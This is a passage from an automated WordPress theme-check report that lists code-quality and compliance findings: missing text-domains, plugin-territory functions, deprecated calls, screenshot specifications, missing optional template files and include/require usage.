'Edit Category', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Update Category', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Add New Category', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'New Category Name', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Separate Categories with commas', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Add or remove Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Choose from the most used Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Categories', 'galleryposttype' in file gallery.php.Found a translation function that is missing a text-domain. Function _x, with the arguments 'Title', 'column name' in file gallery.php.Found a translation function that is missing a text-domain. Function _n, with the arguments 'Project', 'Projects' in file gallery.php.Found a translation function that is missing a text-domain. Function _n, with the arguments 'Project Pending', 'Projects Pending' in file gallery.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<strong>Post Format</strong> - This designates how your theme will display a specific post. For example, you could have a <em>standard</em> blog post with a title and paragraphs, or a short <em>aside</em> that omits the title and contains a short text blurb. Please refer to the Codex for <a href="http://codex.wordpress.org/Post_Formats#Supported_Formats">descriptions of each post format</a>. Your theme could enable all or some of 10 possible formats.' in file gallery.php.Found a translation function that is missing a text-domain. Function esc_attr__, with the arguments 'Search' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Show All ' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'You must be <a href="%s">logged in</a> to post a comment.' in file comments.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Logged in as <a href="%1$s">%2$s</a>. <a href="%3$s" title="Log out of this account">Log out?</a>' in file comments.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are wowway, portfolioposttype, galleryposttype, corvius, option-tree.
  4. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  5. Fundamental theme elements : Presence of wp_link_pages()Could not find wp_link_pages.
  6. Comment reply : Declaration of comment replyCould not find the comment-reply script enqueued, however a reference to 'comment-reply' was found. Make sure that the comment-reply js script is being enqueued properly on singular pages.
  7. Deprecated functions : screen_iconscreen_icon found in file ot-settings-api.php. Deprecated since version 3.8.
    Ligne242: screen_icon( ( isset( $page['screen_icon'] ) ? $page['screen_icon'] : 'opti
  8. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  9. CSS files : Presence of .screen-reader-text class.screen-reader-text css class is needed in your theme css. See : the Codex for an example implementation.
  10. Screenshot : Screenshot fileScreenshot size is 300x225px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  4. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  5. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  6. Optional files : Presence of archive template file archive.phpThis theme does not contain optional file archive.php.
  7. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  8. Use of includes : Use of include or requireThe theme appears to use include or require : rb_shortcodes_panel.php
    Ligne7: require_once($wpconfig);
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : rb_shortcodes_preview.php
    Ligne27: require('../../../../../wp-load.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : rb_columns_panel.php
    Ligne7: require_once($wpconfig);
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : single.php
    Ligne83: include('single-project.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : ot-functions-docs-page.php
    Ligne692: include_once( \'includes/meta-boxes.php\' );
    Ligne782: include_once( \'option-tree/ot-loader.php\' );
    Ligne797: include_once( \'includes/theme-options.php\' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : ot-loader.php
    Ligne187: require_once( OT_DIR . 'includes/{$file}.php' );
    Ligne212: require_once( OT_DIR . 'includes/{$file}.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes